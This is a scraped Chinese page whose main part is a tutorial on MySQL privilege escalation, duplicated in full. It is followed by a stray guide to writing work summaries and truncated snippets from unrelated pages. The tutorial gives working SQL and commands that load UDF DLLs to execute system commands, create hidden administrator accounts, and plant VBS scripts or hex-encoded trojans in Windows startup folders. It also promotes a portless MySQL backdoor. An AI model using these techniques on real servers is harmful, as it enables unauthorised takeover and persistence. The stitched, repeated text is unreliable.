mysql提权总结方法四则.txt遇事潇洒一点,看世糊涂一点。相亲是经销,恋爱叫直销,抛绣球招亲则为围标。没有准备请不要开始,没有能力请不要承诺。爱情这东西,没得到可能是缺憾,不表白就会有遗憾,可是如果自不量力,就只能抱憾了。一 UDF提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:\web\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
二 VBS启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项,
如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。
还可以这样写:
create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
drop table a;
执行前3条语句,就可以将木马写进启动里了,前提是木马一定要是16进制,还有就是路径要是\\,因为windows会自动过滤掉一个\
三 Linx Mysql BackDoor提权
Linx Mysql Door
Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,
该后门安装后为Mysql增加一个可以执行系统命令的"state"函数,
并且随Mysql进程启动一个基于Dll的嗅探型后门,这个后门在Windows下拥有与Mysql一样的系统权限,
从而巧妙的实现了无端口,无进程,无服务的穿墙木马.
用法:将Mysql.php传到PHP服务器上,点击"自动安装Mysql BackDoor",然后直接执行命令即可
四,MIX.DLL提权
create table temp_mix(abc longblob);
insert into temp_mix values(load_file('D:\\web\\udf.dll'));
select * from temp_mix into dumpfile 'C:\\Windows\\system32\\udf.dll'; create function MyCmd returns string soname 'udf.dll';
select MyCmd('net user');
drop table if exists temp_mix;
前三句主要目的是把DLL放到系统目录.第4句建立函数.然后就可以执行系统命令了。 而最容易出问题的就是第4句
can't open shared library 'udf.dll'(error 2);
就说下他.
先前的时候.有次提权.可以建立函数.也忘了什么原因了.需要重新建下这个函数 首先百度了下.说得是:
drop function MyCmd;
就可以删到已经建立的函数.测试了下
发现还是不行.然后继续找的时候.说这是MYSQL的一个BUG
可以执行如下语句:
delete from mysql.func where name='MyCmd';
测试了下成功了.前天再次盯着屏幕上的
can't open shared library 'udf.dll'
又看到了这条delete语句.我们知道delete就是删除.是删的表里的东西.删下表就可以删了函数了?
那反过来.建立函数是不是就是往表里插入一条新记录?而且是mysql.func.也就是mysql这个库里的func表.
呵呵.看名字也象.测试一番后.得出如下结果:
在提权的时候.建立函数显示
can't open shared library 'udf.dll'
就干脆跳过这句
执行另外一句.或者说.把第4句换成:
insert into mysql.func values('MyCmd',0,'udf.dll','function');说下func这个表的结构:4 列.name,return,dl,fun.第二列和第四列的名字记不大清楚了
但意思一样.有兴趣可以自己
select * from func;
下就知道了
第一列就是新建函数的名字.字符串.第二列是返回值.填0.第三列dl指函数所在的dll名字.字符串类型
这里为我们导到系统目录里的dll名.不一定是udf.dll.只要跟你导出的一样就行.第四列作用不清楚
但是填上funciton这个字符串就能用.应该是指这个是个函数吧...因为这只是个插入操作 所以只要是root.应该不会有错误的.后面的就一样了.
select MyCmd('whoami');
但是别急!
这里有个前提:需要重启MYSQL..我对MYSQL不了解.但是重启后新建的函数绝对可用.貌似有别的办法可以达到同样的效果
好象是flush.但是具体flush哪里.就不知道了.不过不是权限.也不是func表.试过了.而且MYSQL下
搜了很久也没找到root在MYSQL下通过命令重启的.总有种感觉.不用重启的.哪位对MYSQL熟悉的看到后如果知道有什么命令告诉小弟下...
根据我自己最近的渗透测试,发现无论是剑心写的还是其他mysql提权脚本,对HKEY_CURRENT_USER这个句柄都不支持,
如果服务器禁用了CMD,即使有ROOT,也无法用写注册表的方式来解禁,要是有大牛能写出来的话还望共享一下!
一 UDF提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:\web\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
二 VBS启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项,
如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。
还可以这样写:
create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
drop table a;
执行前3条语句,就可以将木马写进启动里了,前提是木马一定要是16进制,还有就是路径要是\\,因为windows会自动过滤掉一个\
三 Linx Mysql BackDoor提权
Linx Mysql Door
Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,
该后门安装后为Mysql增加一个可以执行系统命令的"state"函数,
并且随Mysql进程启动一个基于Dll的嗅探型后门,这个后门在Windows下拥有与Mysql一样的系统权限,
从而巧妙的实现了无端口,无进程,无服务的穿墙木马.
用法:将Mysql.php传到PHP服务器上,点击"自动安装Mysql BackDoor",然后直接执行命令即可
四,MIX.DLL提权
create table temp_mix(abc longblob);
insert into temp_mix values(load_file('D:\\web\\udf.dll'));
select * from temp_mix into dumpfile 'C:\\Windows\\system32\\udf.dll'; create function MyCmd returns string soname 'udf.dll';
select MyCmd('net user');
drop table if exists temp_mix;
前三句主要目的是把DLL放到系统目录.第4句建立函数.然后就可以执行系统命令了。 而最容易出问题的就是第4句
can't open shared library 'udf.dll'(error 2);
就说下他.
先前的时候.有次提权.可以建立函数.也忘了什么原因了.需要重新建下这个函数 首先百度了下.说得是:
drop function MyCmd;
就可以删到已经建立的函数.测试了下
发现还是不行.然后继续找的时候.说这是MYSQL的一个BUG
可以执行如下语句:
delete from mysql.func where name='MyCmd';
测试了下成功了.前天再次盯着屏幕上的
can't open shared library 'udf.dll'
又看到了这条delete语句.我们知道delete就是删除.是删的表里的东西.删下表就可以删了函数了?
那反过来.建立函数是不是就是往表里插入一条新记录?而且是mysql.func.也就是mysql这个库里的func表.
呵呵.看名字也象.测试一番后.得出如下结果:
在提权的时候.建立函数显示
can't open shared library 'udf.dll'
就干脆跳过这句
执行另外一句.或者说.把第4句换成:
insert into mysql.func values('MyCmd',0,'udf.dll','function');说下func这个表的结构:4 列.name,return,dl,fun.第二列和第四列的名字记不大清楚了
但意思一样.有兴趣可以自己
select * from func;
下就知道了
第一列就是新建函数的名字.字符串.第二列是返回值.填0.第三列dl指函数所在的dll名字.字符串类型
这里为我们导到系统目录里的dll名.不一定是udf.dll.只要跟你导出的一样就行.第四列作用不清楚
但是填上funciton这个字符串就能用.应该是指这个是个函数吧...因为这只是个插入操作 所以只要是root.应该不会有错误的.后面的就一样了.
select MyCmd('whoami');
但是别急!
这里有个前提:需要重启MYSQL..我对MYSQL不了解.但是重启后新建的函数绝对可用.貌似有别的办法可以达到同样的效果
好象是flush.但是具体flush哪里.就不知道了.不过不是权限.也不是func表.试过了.而且MYSQL下
搜了很久也没找到root在MYSQL下通过命令重启的.总有种感觉.不用重启的.哪位对MYSQL熟悉的看到后如果知道有什么命令告诉小弟下...
根据我自己最近的渗透测试,发现无论是剑心写的还是其他mysql提权脚本,对HKEY_CURRENT_USER这个句柄都不支持,
如果服务器禁用了CMD,即使有ROOT,也无法用写注册表的方式来解禁,要是有大牛能写出来的话还望共享一下!
就是把某一时期已经做过的工作,进行一次全面系统的总检查、总评价,进行一次具体的总分析、总研究;也就是看看取得了哪些成绩,存在哪些缺点和不足,有什么经验、提高。
(一)基本情况。
1.工作总结必须有情况的概述和叙述,有的比较简单,有的比较详细。这部分内容主要是对工作的主客观条件、有利和不利条件以及工作的环境和基础等进行分析。
2.成绩和缺点。这是总结的中心。总结的目的就是要肯定成绩,找出缺点。成绩有哪些,有多大,表现在哪些方面,是怎样取得的;缺点有多少,表现在哪些方面,是什么性质的,怎样产生的,都应讲清楚。
3.经验和教训。做过一件事,总会有经验和教训。为便于今后的工作,须对以往工作的经验和教训进行分析、研究、概括、集中,并上升到理论的高度来认识。
4.今后的打算。根据今后的工作任务和要求,吸取前一时期工作的经验和教训,明确努力方向,提出改进措施等。
(二)写好总结需要注意的问题
1.工作总结前要充分占有材料。 2.一定要实事求是,成绩不夸大,缺点不缩小,更不能弄虚作假。 3.条理要清楚。总结是写给人看的,条理不清,人们就看不下去,即使看了也不知其所以然,这样就达不到总结的目的
4.要剪裁得体,详略适宜。
5.工作总结的具体写作,可先议论,然后由专人写出初稿,再行讨论、修改。最好由主要负责人执笔,或亲自主持讨论、起草、修改
就是把某一时期已经做过的工作,进行一次全面系统的总检查、总评价,进行一次具体的总分析、总研究;也就是看看取得了哪些成绩,存在哪些缺…
1现代文阅读分析笔记全集第一部分现代文阅读认读与理解能力点击一认读与理解能力基本要求概述二语言知识认读解题点击1书写规范的掌握与运…
陈珏老师的课件中提到的技术比较少,我就自己觉得比较难理解的技术做了一下解释膜蛋白结晶方法学原理膜蛋白结构的特殊性,使其一旦脱离天然…
总结规律主要方法有:(1)实验归纳法:所谓归纳法,是从一些特殊的事实中概括出一般性结论的思维方法,是从许多同类的个别事物中找出它们…
204鲁玉华书是智慧的翅膀,书是我们人类最宝贵的财富。在学校组织的营造书香校园系列活动中,为了给学生营造一个书香环境,为了让每一个…
有的明确说出来,稍加分析,即可得出。有的文章中心思想暗含在文章之中,没有明确说出来,需要读者深刻体会。掌握概括文章中心思想的方法,…
方法:七种“武器”帮你上好信息技术课王爱胜信息技术课与其他学科有很大不同,要求理论与实践要适当,讲授与练习要配合……根据以往的经验…
排列组合题型总结排列组合问题千变万化,解法灵活,条件隐晦,思维抽象,难以找到解题的突破口。因而在求解排列组合应用题时,除做到:排列…
20xx年招生工作总结20xx年的招生工作已经结束,是我们应该作总结的时候了:通观20xx年,我们的招生是不很理想的,虽然我们前期…